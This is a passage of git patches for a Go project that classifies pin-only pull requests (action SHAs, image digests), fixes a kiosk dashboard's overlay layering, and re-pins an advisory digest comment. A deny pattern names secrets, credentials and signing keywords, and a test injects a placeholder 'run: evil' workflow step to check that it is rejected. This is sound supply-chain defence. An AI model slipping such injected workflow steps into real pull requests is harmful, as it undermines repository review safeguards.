nil + return commits, false, nil } diff --git a/src/pkg/github/pr_commits_test.go b/src/pkg/github/pr_commits_test.go index 545fe3096e..ee2b4fff20 100644 --- a/src/pkg/github/pr_commits_test.go +++ b/src/pkg/github/pr_commits_test.go @@ -81,6 +81,41 @@ func TestListPRCommitsPaginatesWithinBound(t *testing.T) { } } +// The exported lister reports a list cut off at the page cap as incomplete, +// so callers that must see every commit (the pin-only exception) fail closed; +// a list that ends on its own is complete. +func TestListPRRepositoryCommitsReportsTruncationAtCap(t *testing.T) { + for _, tc := range []struct { + name string + endless bool + wantPages int + wantComplete bool + }{ + {name: "ends within cap", wantPages: 2, wantComplete: true}, + {name: "next page past cap", endless: true, wantPages: maxPRCommitPages, wantComplete: false}, + } { + t.Run(tc.name, func(t *testing.T) { + pages := 0 + server := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) { + pages++ + if tc.endless || pages == 1 { + w.Header().Set("Link", `; rel="next"`) + } + json.NewEncoder(w).Encode([]any{map[string]any{"sha": "sha-" + strconv.Itoa(pages)}, nil}) + })) + defer server.Close() + c := NewClientForTest(server.URL, "acme", []string{"widget"}, nil) + got, complete, err := ListPRRepositoryCommits(context.Background(), c.client, "acme", "widget", 7) + if err != nil { + t.Fatalf("ListPRRepositoryCommits: %v", err) + } + if pages != tc.wantPages || len(got) != tc.wantPages || complete != tc.wantComplete { + t.Fatalf("pages=%d commits=%d complete=%v, want %d pages, nils dropped, complete=%v", pages, len(got), complete, tc.wantPages, tc.wantComplete) + } + }) + } +} + func TestListPRCommitsNilClientAndAPIError(t *testing.T) { var nilClient *Client if _, err := nilClient.ListPRCommits(context.Background(), "widget", 7); err == nil { diff --git a/src/pkg/intent/pin_only.go b/src/pkg/intent/pin_only.go index a9cb8c1d0c..bf4bf2cca6 100644 --- a/src/pkg/intent/pin_only.go +++ b/src/pkg/intent/pin_only.go @@ -4,6 +4,7 @@ import ( "fmt" "path" "regexp" + "slices" "strconv" "strings" ) @@ -22,6 +23,15 @@ var ( unsafePinRE = regexp.MustCompile(`(?i)(permissions|secrets[.]|\benv\b|\brun:|\bwith:|id-token|cosign|attest|provenance|credential|signing|codeowners)`) ) +// ActionPin is one accepted action-sha replacement: the upstream action +// repository ("owner/repo", without any sub-path), the new 40-hex commit, and +// the trailing version comment ("v4", "v4.1.2"; empty when absent). +type ActionPin struct { + Repo string + SHA string + Version string +} + // ClassifyPinOnly checks the entire supplied diff, not only guarded files: a // mixed PR must not acquire a pin-only exception. Every file must be an existing // modified file in both the actual human-merge matches and the exception paths. @@ -29,11 +39,21 @@ var ( // addition/deletion counts. Deliberately supports only narrow line grammars. // // Callers MUST separately prove a complete file list bound to the current head, -// authenticated trusted authorship, and review of each referenced upstream -// change. A true result proves syntax only, NEVER those facts or merge safety. +// authenticated trusted authorship, and that each new action SHA belongs to +// its upstream repository (ClassifyPinOnlyActions returns them). A true result +// proves syntax only, NEVER those facts or merge safety. func ClassifyPinOnly(files []ChangedFile, matches []string, spec PinOnlySpec) (bool, string) { + ok, why, _ := ClassifyPinOnlyActions(files, matches, spec) + return ok, why +} + +// ClassifyPinOnlyActions is ClassifyPinOnly that also returns, on acceptance, +// the distinct action-sha pins it accepted. GitHub resolves a `uses:` SHA +// across the whole fork network of owner/repo, so the syntax alone does not +// tie the new SHA to the upstream action; the caller resolves each pin. +func ClassifyPinOnlyActions(files []ChangedFile, matches []string, spec PinOnlySpec) (bool, string, []ActionPin) { if len(files) == 0 || len(matches) == 0 || len(spec.Paths) == 0 || len(spec.Kinds) == 0 { - return false, "missing pin-only evidence or policy" + return false, "missing pin-only evidence or policy", nil } kinds := make(map[string]bool) for _, kind := range spec.Kinds { @@ -41,7 +61,7 @@ func ClassifyPinOnly(files []ChangedFile, matches []string, spec PinOnlySpec) (b case "action-sha", "image-digest", "version-pin": kinds[kind] = true default: - return false, "unknown pin kind: " + kind + return false, "unknown pin kind: " + kind, nil } } guarded := make(map[string]bool) @@ -49,31 +69,39 @@ func ClassifyPinOnly(files []ChangedFile, matches []string, spec PinOnlySpec) (b guarded[match] = true } seen := make(map[string]bool) + var pins []ActionPin for _, file := range files { name := file.Filename if name == "" || path.Clean(name) != name || strings.HasPrefix(name, "../") || strings.HasPrefix(name, "/") || seen[name] { - return false, "invalid or duplicate path: " + name + return false, "invalid or duplicate path: " + name, nil } seen[name] = true if !guarded[name] || !PathMatchesAny(name, spec.Paths) { - return false, name + ": outside approved human-merge paths" + return false, name + ": outside approved human-merge paths", nil } if strings.Contains(strings.ToLower(name), "owners") || file.Status != "modified" || file.Patch == "" { - return false, name + ": not an existing modified pin file with a patch" + return false, name + ": not an existing modified pin file with a patch", nil + } + filePins, err := classifyPinPatch(file, kinds) + if err != nil { + return false, name + ": " + err.Error(), nil } - if err := classifyPinPatch(file, kinds); err != nil { - return false, name + ": " + err.Error() + for _, pin := range filePins { + if !slices.Contains(pins, pin) { + pins = append(pins, pin) + } } } for match := range guarded { if !seen[match] { - return false, match + ": missing matched file" + return false, match + ": missing matched file", nil } } - return true, "all changes are approved pin replacements (syntax only)" + return true, "all changes are approved pin replacements (syntax only)", pins } -func classifyPinPatch(file ChangedFile, kinds map[string]bool) error { +func classifyPinPatch(file ChangedFile, kinds map[string]bool) ([]ActionPin, error) { + var pins []ActionPin var removed, added []string oldLeft, newLeft, additions, deletions, hunks := 0, 0, 0, 0, 0 flush := func() error { @@ -81,9 +109,13 @@ func classifyPinPatch(file ChangedFile, kinds map[string]bool) error { return fmt.Errorf("unpaired addition/removal") } for i := range removed { - if !pinReplacement(removed[i], added[i], kinds) { + pin, ok := matchPinReplacement(removed[i], added[i], kinds) + if !ok { return fmt.Errorf("non-pin or unsafe replacement") } + if pin != nil { + pins = append(pins, *pin) + } } removed, added = nil, nil return nil @@ -92,30 +124,30 @@ func classifyPinPatch(file ChangedFile, kinds map[string]bool) error { for i, line := range lines { if m := pinHunkRE.FindStringSubmatch(line); m != nil { if err := flush(); err != nil { - return err + return nil, err } if oldLeft != 0 || newLeft != 0 { - return fmt.Errorf("incomplete hunk before line %d", i+1) + return nil, fmt.Errorf("incomplete hunk before line %d", i+1) } oldLeft, newLeft = 1, 1 var err error if m[1] != "" { oldLeft, err = strconv.Atoi(m[1]) if err != nil { - return fmt.Errorf("invalid old hunk count") + return nil, fmt.Errorf("invalid old hunk count") } } if m[2] != "" { newLeft, err = strconv.Atoi(m[2]) if err != nil { - return fmt.Errorf("invalid new hunk count") + return nil, fmt.Errorf("invalid new hunk count") } } hunks++ continue } if hunks == 0 { - return fmt.Errorf("invalid patch line %d", i+1) + return nil, fmt.Errorf("invalid patch line %d", i+1) } if line == "" { // GitHub renders blank context lines as "" rather than " ". @@ -124,13 +156,13 @@ func classifyPinPatch(file ChangedFile, kinds map[string]bool) error { switch line[0] { case ' ': if err := flush(); err != nil { - return err + return nil, err } oldLeft-- newLeft-- case '-': if len(added) != 0 { - return fmt.Errorf("interleaved replacement") + return nil, fmt.Errorf("interleaved replacement") } removed = append(removed, line[1:]) deletions++ @@ -141,24 +173,31 @@ func classifyPinPatch(file ChangedFile, kinds map[string]bool) error { newLeft-- default: // Even newline/format metadata is outside this bounded grammar. - return fmt.Errorf("unsupported patch line %d", i+1) + return nil, fmt.Errorf("unsupported patch line %d", i+1) } if oldLeft < 0 || newLeft < 0 { - return fmt.Errorf("hunk count exceeded") + return nil, fmt.Errorf("hunk count exceeded") } } if err := flush(); err != nil { - return err + return nil, err } if hunks == 0 || oldLeft != 0 || newLeft != 0 || additions == 0 || additions != file.Additions || deletions != file.Deletions { - return fmt.Errorf("incomplete patch or mismatched changed-line counts") + return nil, fmt.Errorf("incomplete patch or mismatched changed-line counts") } - return nil + return pins, nil } func pinReplacement(old, next string, kinds map[string]bool) bool { + _, ok := matchPinReplacement(old, next, kinds) + return ok +} + +// matchPinReplacement reports whether old -> next is an accepted pin +// replacement and, for an action-sha replacement, the new pin. +func matchPinReplacement(old, next string, kinds map[string]bool) (*ActionPin, bool) { if old == next || unsafePinRE.MatchString(old) || unsafePinRE.MatchString(next) { - return false + return nil, false } for _, kind := range []string{"action-sha", "image-digest", "version-pin"} { if !kinds[kind] { @@ -181,7 +220,7 @@ func pinReplacement(old, next string, kinds map[string]bool) bool { if strings.Contains(a[3], "#") != strings.Contains(b[3], "#") { continue } - return true + return actionPinFrom(b), true } if kind == "version-pin" { // Do not permit quote changes to alter YAML interpretation. @@ -200,8 +239,21 @@ func pinReplacement(old, next string, kinds map[string]bool) bool { } } if a[3] == b[3] { - return true + return nil, true } } - return false + return nil, false +} + +// actionPinFrom builds the pin from an actionPinRE match of the new line. +func actionPinFrom(m []string) *ActionPin { + ref := strings.TrimSpace(m[1]) + ref = strings.TrimPrefix(ref, "- ") + ref = strings.TrimSuffix(strings.TrimPrefix(ref, "uses: "), "@") + parts := strings.SplitN(ref, "/", 3) + return &ActionPin{ + Repo: parts[0] + "/" + parts[1], + SHA: strings.ToLower(m[2]), + Version: strings.TrimSpace(strings.TrimPrefix(strings.TrimSpace(m[3]), "#")), + } } diff --git a/src/pkg/intent/pin_only_test.go b/src/pkg/intent/pin_only_test.go index 68a883bfdc..8a740a4b64 100644 --- a/src/pkg/intent/pin_only_test.go +++ b/src/pkg/intent/pin_only_test.go @@ -1,6 +1,7 @@ package intent import ( + "slices" "strings" "testing" ) @@ -117,3 +118,38 @@ func TestPinReplacementNarrowGrammar(t *testing.T) { } } } + +func TestClassifyPinOnlyActionsReturnsAcceptedPins(t *testing.T) { + sha := func(c string) string { return strings.Repeat(c, 40) } + spec := PinOnlySpec{Paths: []string{".github/workflows/*.yml", "Containerfile"}, Kinds: []string{"action-sha", "image-digest"}} + workflow := ChangedFile{Filename: ".github/workflows/build.yml", Status: "modified", Additions: 3, Deletions: 3, Patch: "@@ -1,5 +1,5 @@\n" + + "- - uses: actions/checkout@" + sha("a") + " # v4\n" + + "+ - uses: actions/checkout@" + strings.ToUpper(sha("b")) + " # v4.2.1\n" + + " context\n" + + "- uses: github/codeql-action/init@" + sha("c") + "\n" + + "+ uses: github/codeql-action/init@" + sha("d") + "\n" + + " more context\n" + + "- - uses: actions/checkout@" + sha("a") + " # v4\n" + + "+ - uses: actions/checkout@" + sha("b") + " # v4.2.1"} + image := ChangedFile{Filename: "Containerfile", Status: "modified", Additions: 1, Deletions: 1, + Patch: "@@ -1 +1 @@\n-FROM ghcr.io/org/image@sha256:" + strings.Repeat("a", 64) + "\n+FROM ghcr.io/org/image@sha256:" + strings.Repeat("b", 64)} + ok, why, pins := ClassifyPinOnlyActions([]ChangedFile{workflow, image}, []string{workflow.Filename, image.Filename}, spec) + if !ok { + t.Fatalf("refused: %s", why) + } + want := []ActionPin{ + {Repo: "actions/checkout", SHA: sha("b"), Version: "v4.2.1"}, + {Repo: "github/codeql-action", SHA: sha("d")}, + } + if !slices.Equal(pins, want) { + t.Fatalf("pins = %+v, want %+v", pins, want) + } + if ok, _, pins := ClassifyPinOnlyActions([]ChangedFile{image}, []string{image.Filename}, spec); !ok || len(pins) != 0 { + t.Fatalf("image-only diff: ok=%v pins=%+v, want accepted with no action pins", ok, pins) + } + workflow.Patch += "\n+ - run: evil" + workflow.Additions++ + if ok, _, pins := ClassifyPinOnlyActions([]ChangedFile{workflow}, []string{workflow.Filename}, spec); ok || pins != nil { + t.Fatalf("refused diff: ok=%v pins=%+v, want no pins", ok, pins) + } +} From 19f60c61eb8665f3a2817c386a33f9207d8b1b40 Mon Sep 17 00:00:00 2001 From: Andy Anderson Date: Tue, 3 Nov 2026 11:47:56 -0500 Subject: [PATCH 02/87] fix(matrix): keep freshness HUD and kiosk CTA above the terminal effect (#16444) Pin .matrix-labels and #kiosk-cta to the viewport with explicit z-index, position the canvas as a z-index 0 backdrop, and make the ghost/terminal baselines reserve the HUD band so typed rows never run under it. Fixes #16441 Signed-off-by: Andrew Anderson --- changelog.d/fixed-matrix-terminal-hud-cta.md | 1 + src/pkg/dashboard/kiosk_cta.test.js | 2 +- src/pkg/dashboard/matrix_ui_test.go | 13 +++++++++++++ src/pkg/dashboard/static-src/css/matrix.css | 10 +++++----- src/pkg/dashboard/static-src/js/matrix.js | 8 ++++++-- src/pkg/dashboard/static/index.html | 18 +++++++++++------- 6 files changed, 37 insertions(+), 15 deletions(-) create mode 100644 changelog.d/fixed-matrix-terminal-hud-cta.md diff --git a/changelog.d/fixed-matrix-terminal-hud-cta.md b/changelog.d/fixed-matrix-terminal-hud-cta.md new file mode 100644 index 0000000000..4a7b8bc85b --- /dev/null +++ b/changelog.d/fixed-matrix-terminal-hud-cta.md @@ -0,0 +1 @@ +- Matrix kiosk: the freshness HUD and get-started CTA now stay pinned above the canvas in every effect, including `mx.effect=terminal`, and typed rows stop above the HUD band. diff --git a/src/pkg/dashboard/kiosk_cta.test.js b/src/pkg/dashboard/kiosk_cta.test.js index 7fbcef84f2..4c5ce7cddb 100644 --- a/src/pkg/dashboard/kiosk_cta.test.js +++ b/src/pkg/dashboard/kiosk_cta.test.js @@ -31,5 +31,5 @@ test('badge wiring: placeholder outside the root, hidden without the body class, assert.ok(root > 0 && ph > root, 'placeholder must follow the dashboard root'); assert.ok(html.includes('#kiosk-cta { display: none; }')); assert.ok(html.includes('body.kiosk-cta-on #kiosk-cta {')); - assert.ok(html.includes('body.matrix-mode #kiosk-cta { z-index: 100001; opacity: .85; }')); + assert.ok(html.includes('body.matrix-mode #kiosk-cta { position: fixed; right: var(--sp-6); bottom: var(--sp-6); z-index: 100001; opacity: .85; }')); }); diff --git a/src/pkg/dashboard/matrix_ui_test.go b/src/pkg/dashboard/matrix_ui_test.go index 3b2f0413dc..f41213572f 100644 --- a/src/pkg/dashboard/matrix_ui_test.go +++ b/src/pkg/dashboard/matrix_ui_test.go @@ -34,6 +34,12 @@ func TestMatrixUIWiring(t *testing.T) { } } css := read("css/matrix.css") + // Overlays must be viewport-pinned and layered above the canvas in every effect (#16441). + for _, want := range []string{"body.matrix-mode .matrix-canvas { display: block; position: absolute; inset: 0; z-index: 0;", "body.matrix-mode .matrix-labels { position: fixed; bottom: 1rem; left: 1rem;", "body.matrix-mode #kiosk-cta { position: fixed; right: var(--sp-6); bottom: var(--sp-6); z-index: 100001;"} { + if !strings.Contains(css, want) { + t.Errorf("matrix.css missing %q", want) + } + } for _, rule := range strings.Split(css, "}") { selector, _, ok := strings.Cut(strings.TrimSpace(rule), "{") if !ok { @@ -123,6 +129,13 @@ async function scenario(query, reduced = false, status = 200) { if (/cascade|ghost|terminal/.test(query)) assert(draws.some(a => a[0] === 'org/repo#2 Β· main.go')); if (query.includes('ghost')) assert(draws.some(a => a[0] === 'main.go')); if (query.includes('terminal')) assert(draws.some(a => a[0] === '+ ')); + // The freshness HUD stays mounted, unhidden and populated in every effect, + // and the typed effects keep their baseline above the HUD band (#16441). + const hud = byClass('matrix-labels'); + assert(!hud.hidden); assert.equal(hud.children.length, 3); + assert(hud.children[0].textContent.includes('lines pushed')); assert(hud.children[1].textContent); + assert.equal(doc.getElementById('hive-matrix').children.indexOf(hud), 3); + if (/ghost|terminal/.test(query)) assert(draws.filter(a => a.length === 3).every(a => a[2] <= win.innerHeight - 100)); } doc.hidden = true; docEvents.visibilitychange.forEach(fn => fn()); assert.equal(raf.size, 0); assert.equal(timers.size, 0); diff --git a/src/pkg/dashboard/static-src/css/matrix.css b/src/pkg/dashboard/static-src/css/matrix.css index b8c35ee708..ec03d32308 100644 --- a/src/pkg/dashboard/static-src/css/matrix.css +++ b/src/pkg/dashboard/static-src/css/matrix.css @@ -7,11 +7,11 @@ body.matrix-mode #hive-matrix { --matrix-muted: #b8ccbb; position: fixed; inset: 0; z-index: 100000; background: var(--matrix-bg); color: var(--matrix-color, var(--matrix-fg)); font: 16px monospace; } -body.matrix-mode .matrix-canvas { width: 100%; height: 100%; } -body.matrix-mode .matrix-labels { position: absolute; bottom: 1rem; left: 1rem; right: 1rem; padding: var(--sp-3); background: var(--matrix-surface); color: var(--matrix-text); font-size: var(--fs-base); overflow-wrap: anywhere; } -body.matrix-mode .matrix-notice { position: absolute; top: 2rem; left: 1rem; right: 1rem; color: var(--matrix-text); } -body.matrix-mode .matrix-list { position: absolute; inset: 4rem 1rem 8rem; overflow: hidden; } +body.matrix-mode .matrix-canvas { display: block; position: absolute; inset: 0; z-index: 0; width: 100%; height: 100%; } +body.matrix-mode .matrix-labels { position: fixed; bottom: 1rem; left: 1rem; max-width: min(60vw, 48rem); z-index: 2; padding: var(--sp-3); background: var(--matrix-surface); color: var(--matrix-text); font-size: var(--fs-base); overflow-wrap: anywhere; } +body.matrix-mode .matrix-notice { position: fixed; top: 2rem; left: 1rem; right: 1rem; z-index: 2; color: var(--matrix-text); } +body.matrix-mode .matrix-list { position: absolute; inset: 4rem 1rem 8rem; z-index: 1; overflow: hidden; } body.matrix-mode .matrix-list pre { white-space: pre-wrap; overflow-wrap: anywhere; margin: .3rem 0 1rem; } body.matrix-mode .matrix-list small { color: var(--matrix-muted); } body.matrix-mode #hive-matrix [hidden] { display: none !important; } -body.matrix-mode #kiosk-cta { z-index: 100001; opacity: .85; } +body.matrix-mode #kiosk-cta { position: fixed; right: var(--sp-6); bottom: var(--sp-6); z-index: 100001; opacity: .85; } diff --git a/src/pkg/dashboard/static-src/js/matrix.js b/src/pkg/dashboard/static-src/js/matrix.js index 0b1a0137b7..225ae94881 100644 --- a/src/pkg/dashboard/static-src/js/matrix.js +++ b/src/pkg/dashboard/static-src/js/matrix.js @@ -75,6 +75,10 @@ rs: 'rs', c: 'c', h: 'c', cc: 'c', cpp: 'c', hpp: 'c', java: 'c', cs: 'c'}; Object.keys(languages).forEach(function(k){ languages[k].words = new Set(languages[k].words.split(' ')); }); function paused(){ return manualPause || document.hidden; } + // Height of the bottom band the freshness HUD occupies, so typed rows + // never run under it in any effect (#16441). 100px is the floor used + // before the HUD was measured. + function hudBand(){ return Math.max(100, (labels.offsetHeight || 0) + 32); } function resize(){ width = window.innerWidth; height = window.innerHeight; canvas.width = width; canvas.height = height; @@ -170,7 +174,7 @@ top = 56; } ctx.font = '16px monospace'; - var visible = Math.max(1, Math.floor((height - top - 100) / rowH)); + var visible = Math.max(1, Math.floor((height - top - hudBand()) / rowH)); var current = {n: tab.count + 1, path: typing.line.path, text: typing.chars.slice(0, Math.floor(typing.typed)).join(''), current: true}; tab.rows.slice(-(visible - 1) || tab.rows.length).concat([current]).forEach(function(row, i){ var y = top + (i + 1) * rowH, col = 0; @@ -200,7 +204,7 @@ if (!termRows.length) emitTerminal(); termClock += dt * 4; while (termClock >= 1) { termClock -= 1; emitTerminal(); } - var bottom = height - 100; + var bottom = height - hudBand(); ctx.font = '16px monospace'; termRows.forEach(function(row, i){ var y = bottom - (termRows.length - 1 - i + termClock) * rowH; diff --git a/src/pkg/dashboard/static/index.html b/src/pkg/dashboard/static/index.html index 80065e550f..12732f88eb 100644 --- a/src/pkg/dashboard/static/index.html +++ b/src/pkg/dashboard/static/index.html @@ -7035,14 +7035,14 @@ --matrix-muted: #b8ccbb; position: fixed; inset: 0; z-index: 100000; background: var(--matrix-bg); color: var(--matrix-color, var(--matrix-fg)); font: 16px monospace; } -body.matrix-mode .matrix-canvas { width: 100%; height: 100%; } -body.matrix-mode .matrix-labels { position: absolute; bottom: 1rem; left: 1rem; right: 1rem; padding: var(--sp-3); background: var(--matrix-surface); color: var(--matrix-text); font-size: var(--fs-base); overflow-wrap: anywhere; } -body.matrix-mode .matrix-notice { position: absolute; top: 2rem; left: 1rem; right: 1rem; color: var(--matrix-text); } -body.matrix-mode .matrix-list { position: absolute; inset: 4rem 1rem 8rem; overflow: hidden; } +body.matrix-mode .matrix-canvas { display: block; position: absolute; inset: 0; z-index: 0; width: 100%; height: 100%; } +body.matrix-mode .matrix-labels { position: fixed; bottom: 1rem; left: 1rem; max-width: min(60vw, 48rem); z-index: 2; padding: var(--sp-3); background: var(--matrix-surface); color: var(--matrix-text); font-size: var(--fs-base); overflow-wrap: anywhere; } +body.matrix-mode .matrix-notice { position: fixed; top: 2rem; left: 1rem; right: 1rem; z-index: 2; color: var(--matrix-text); } +body.matrix-mode .matrix-list { position: absolute; inset: 4rem 1rem 8rem; z-index: 1; overflow: hidden; } body.matrix-mode .matrix-list pre { white-space: pre-wrap; overflow-wrap: anywhere; margin: .3rem 0 1rem; } body.matrix-mode .matrix-list small { color: var(--matrix-muted); } body.matrix-mode #hive-matrix [hidden] { display: none !important; } -body.matrix-mode #kiosk-cta { z-index: 100001; opacity: .85; } +body.matrix-mode #kiosk-cta { position: fixed; right: var(--sp-6); bottom: var(--sp-6); z-index: 100001; opacity: .85; } .var-empty{color:var(--muted);font-size:var(--fs-sm);padding:var(--sp-2) var(--sp-0)} .var-section{margin-top:var(--sp-6);border-top:1px solid var(--border);padding-top:var(--sp-5)} .var-heading{font-weight:600;font-size:var(--fs-sm);margin-bottom:var(--sp-4)} @@ -7137,6 +7137,10 @@ rs: 'rs', c: 'c', h: 'c', cc: 'c', cpp: 'c', hpp: 'c', java: 'c', cs: 'c'}; Object.keys(languages).forEach(function(k){ languages[k].words = new Set(languages[k].words.split(' ')); }); function paused(){ return manualPause || document.hidden; } + // Height of the bottom band the freshness HUD occupies, so typed rows + // never run under it in any effect (#16441). 100px is the floor used + // before the HUD was measured. + function hudBand(){ return Math.max(100, (labels.offsetHeight || 0) + 32); } function resize(){ width = window.innerWidth; height = window.innerHeight; canvas.width = width; canvas.height = height; @@ -7232,7 +7236,7 @@ top = 56; } ctx.font = '16px monospace'; - var visible = Math.max(1, Math.floor((height - top - 100) / rowH)); + var visible = Math.max(1, Math.floor((height - top - hudBand()) / rowH)); var current = {n: tab.count + 1, path: typing.line.path, text: typing.chars.slice(0, Math.floor(typing.typed)).join(''), current: true}; tab.rows.slice(-(visible - 1) || tab.rows.length).concat([current]).forEach(function(row, i){ var y = top + (i + 1) * rowH, col = 0; @@ -7262,7 +7266,7 @@ if (!termRows.length) emitTerminal(); termClock += dt * 4; while (termClock >= 1) { termClock -= 1; emitTerminal(); } - var bottom = height - 100; + var bottom = height - hudBand(); ctx.font = '16px monospace'; termRows.forEach(function(row, i){ var y = bottom - (termRows.length - 1 - i + termClock) * rowH; From f514b0df95a34630408325c57e6ddfd17688f1a0 Mon Sep 17 00:00:00 2001 From: Andy Anderson Date: Tue, 3 Nov 2026 12:06:11 -0500 Subject: [PATCH 03/87] =?UTF-8?q?=F0=9F=90=9B=20fix(advisory):=20re-pin=20?= =?UTF-8?q?digest=20past=20foreign-authored=20comment,=20warn=20once,=20sk?= =?UTF-8?q?ip=20unchanged=20edit=20(#16445)?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit * πŸ› fix(advisory): re-pin digest past foreign-authored comment, warn once, skip unchanged edit When a human-authored digest comment sits newer than the App's own on the advisory issue, the scan warned on every ~5 min cycle and never settled. Resolve by never selecting a non-App comment, re-pinning to the App's own digest (or creating one) and persisting the anchor id, logging the foreign comment once per issue per process (Debug thereafter) with the action taken, and skipping the PATCH when the material fingerprint for the anchor is unchanged. Signed-off-by: Andrew Anderson * πŸ“– docs: refresh client.go citation range in scale-envelope.md Signed-off-by: Andrew Anderson --------- Signed-off-by: Andrew Anderson Co-authored-by: hivecommons-hive[bot] <280983584+hivecommons-hive[bot]@users.noreply.github.com> --- .../fixed-advisory-digest-foreign-anchor.md | 1 + src/docs/scale-envelope.md | 2 +- src/pkg/github/advisory.go | 131 +++++++++++--- .../github/advisory_foreign_anchor_test.go | 162 ++++++++++++++++++ src/pkg/github/client.go | 14 ++ 5 files changed, 288 insertions(+), 22 deletions(-) create mode 100644 changelog.d/fixed-advisory-digest-foreign-anchor.md create mode 100644 src/pkg/github/advisory_foreign_anchor_test.go diff --git a/changelog.d/fixed-advisory-digest-foreign-anchor.md b/changelog.d/fixed-advisory-digest-foreign-anchor.md new file mode 100644 index 0000000000..2b61c14bc8 --- /dev/null +++ b/changelog.d/fixed-advisory-digest-foreign-anchor.md @@ -0,0 +1 @@ +- Advisory digest: when the newest digest comment on the advisory issue is not App-authored, re-pin to the App's own digest comment (or create one) and persist that anchor; log the foreign-comment warning once per issue per process (Debug thereafter) with the action taken, and skip the edit when the digest's material content is unchanged for the anchor. diff --git a/src/docs/scale-envelope.md b/src/docs/scale-envelope.md index d778a423ab..8beda804f2 100644 --- a/src/docs/scale-envelope.md +++ b/src/docs/scale-envelope.md @@ -34,7 +34,7 @@ ones to: 2. **Truncation must preserve the prioritization signal, not cut an arbitrary slice.** This holds today and is easy to assume backwards: - Issues are sorted by actionable rank tier, then **oldest first** within each tier before any cap is applied - (`RankActionableIssues`, `src/pkg/github/client.go:5096-5106`, descending `AgeMinutes` within each tier). + (`RankActionableIssues`, `src/pkg/github/client.go:5110-5120`, descending `AgeMinutes` within each tier). - PRs are sorted by **review class then oldest-first within class** (`SortPullRequestsForReview`, `src/pkg/github/review_priority.go:334`; fixes β†’ refactors/docs β†’ tests). diff --git a/src/pkg/github/advisory.go b/src/pkg/github/advisory.go index b19668703a..ae280099f5 100644 --- a/src/pkg/github/advisory.go +++ b/src/pkg/github/advisory.go @@ -13,10 +13,10 @@ import ( "unicode/utf8" gh "github.com/google/go-github/v72/github" + "github.com/hivecommons/hive/crux/logscrub" "github.com/hivecommons/hive/pkg/config" - "github.com/hivecommons/hive/pkg/issueshape" "github.com/hivecommons/hive/pkg/effects" - "github.com/hivecommons/hive/crux/logscrub" + "github.com/hivecommons/hive/pkg/issueshape" ) const ( @@ -497,6 +497,30 @@ func (c *Client) PostAdvisoryDigest(ctx context.Context, repo string, issueNum i commentID := existing.id var author string + if commentID > 0 && !writeThrough { + // Per-anchor unchanged guard (#16439). The listed body the #5507 + // suppression compares against can lag the last PATCH (the comment + // list is eventually consistent), so at steady state the digest was + // still re-edited with identical material content every cycle. + // Compare the pending material fingerprint with the one this process + // last WROTE to this exact anchor and skip the PATCH when they match; + // the periodic write-through still forces a real write. + anchorKey := fmt.Sprintf("%s@%d", key, commentID) + pendingFP := materialDigestFingerprint(digest) + c.advisoryMu.Lock() + unchanged := c.advisoryDigestAnchorHashes[anchorKey] == pendingFP + if unchanged { + c.advisoryDigestHashes = ensureStringMap(c.advisoryDigestHashes) + c.advisoryDigestHashes[key] = digestHash + c.advisoryDigestSkips[key]++ + } + c.advisoryMu.Unlock() + if unchanged { + c.logger.Debug("advisory digest material content unchanged for anchor β€” skipping edit", + slog.String("repo", repo), slog.Int("issue", issueNum), slog.Int("comment_id", commentID)) + return nil + } + } if commentID > 0 { edited, _, err := c.client.Issues.EditComment(ctx, owner, repoName, int64(commentID), &gh.IssueComment{ Body: gh.Ptr(digest), @@ -528,6 +552,7 @@ func (c *Client) PostAdvisoryDigest(ctx context.Context, repo string, issueNum i return fmt.Errorf("posting advisory digest to %s#%d: %w", repo, issueNum, c.classifyDigestWriteError(ctx, owner, repoName, err)) } author = comment.GetUser().GetLogin() + commentID = int(comment.GetID()) } // Audit the FIRST post and every advisoryDigestAuditInterval-th one, not the @@ -547,6 +572,18 @@ func (c *Client) PostAdvisoryDigest(ctx context.Context, repo string, issueNum i // over from any real write. c.advisoryDigestHashes[key] = digestHash c.advisoryDigestSkips[key] = 0 + if commentID > 0 { + // Persist the anchor this write landed on and its material + // fingerprint (#16439): the next cycle re-pins to it past any + // foreign-authored digest comment and skips the PATCH when the + // rendered content has not materially changed. + if c.advisoryDigestAnchors == nil { + c.advisoryDigestAnchors = make(map[string]int) + } + c.advisoryDigestAnchors[key] = commentID + c.advisoryDigestAnchorHashes = ensureStringMap(c.advisoryDigestAnchorHashes) + c.advisoryDigestAnchorHashes[fmt.Sprintf("%s@%d", key, commentID)] = materialDigestFingerprint(digest) + } c.advisoryDigestPosts[key]++ count := c.advisoryDigestPosts[key] c.advisoryMu.Unlock() @@ -659,7 +696,7 @@ func (c *Client) findDigestCommentDetail(ctx context.Context, owner, repo string PerPage: advisoryDigestCommentsPerPage, }, } - var botAuthored digestComment + var scan digestScan pages := 0 for { comments, resp, err := c.client.Issues.ListComments(ctx, owner, repo, issueNum, opts) @@ -667,15 +704,15 @@ func (c *Client) findDigestCommentDetail(ctx context.Context, owner, repo string // A partial scan that already found a usable fallback still // beats creating a duplicate, so surface the error but keep // whatever the earlier pages turned up. - return botAuthored, err + return c.resolveDigestScan(owner, repo, issueNum, scan.botAuthored, &scan), err } pages++ - found, done := c.scanDigestPage(owner, repo, issueNum, comments, &botAuthored) + found, done := c.scanDigestPage(comments, &scan) if done { - return found, nil + return c.resolveDigestScan(owner, repo, issueNum, found, &scan), nil } if resp == nil || resp.NextPage == 0 { - return botAuthored, nil + return c.resolveDigestScan(owner, repo, issueNum, scan.botAuthored, &scan), nil } if pages >= advisoryDigestScanMaxPages { c.logger.Warn("advisory digest comment scan hit its page cap β€” treating the digest as absent, which will CREATE a new one", @@ -683,19 +720,33 @@ func (c *Client) findDigestCommentDetail(ctx context.Context, owner, repo string slog.Int("issue", issueNum), slog.Int("pages_scanned", pages), slog.Int("comments_scanned", pages*advisoryDigestCommentsPerPage)) - return botAuthored, nil + return c.resolveDigestScan(owner, repo, issueNum, scan.botAuthored, &scan), nil } opts.Page = resp.NextPage } } +// digestScan carries state across the pages of one digest-comment scan. +type digestScan struct { + // botAuthored is the newest bot-authored-but-not-provably-ours digest + // comment, kept as a fallback when no exact match turns up. + botAuthored digestComment + // foreign is the newest digest comment this App can never edit (human + // authored), recorded so the resolution can report it ONCE per issue + // together with the action taken (#16439) instead of warning on every + // cycle the comment is seen. + foreign digestComment + foreignAuthor string +} + // scanDigestPage applies the authorship rules to one page of comments. It // returns (comment, true) when it has found the definitive digest to edit and // the scan can stop, or (_, false) to continue to the next page. A -// 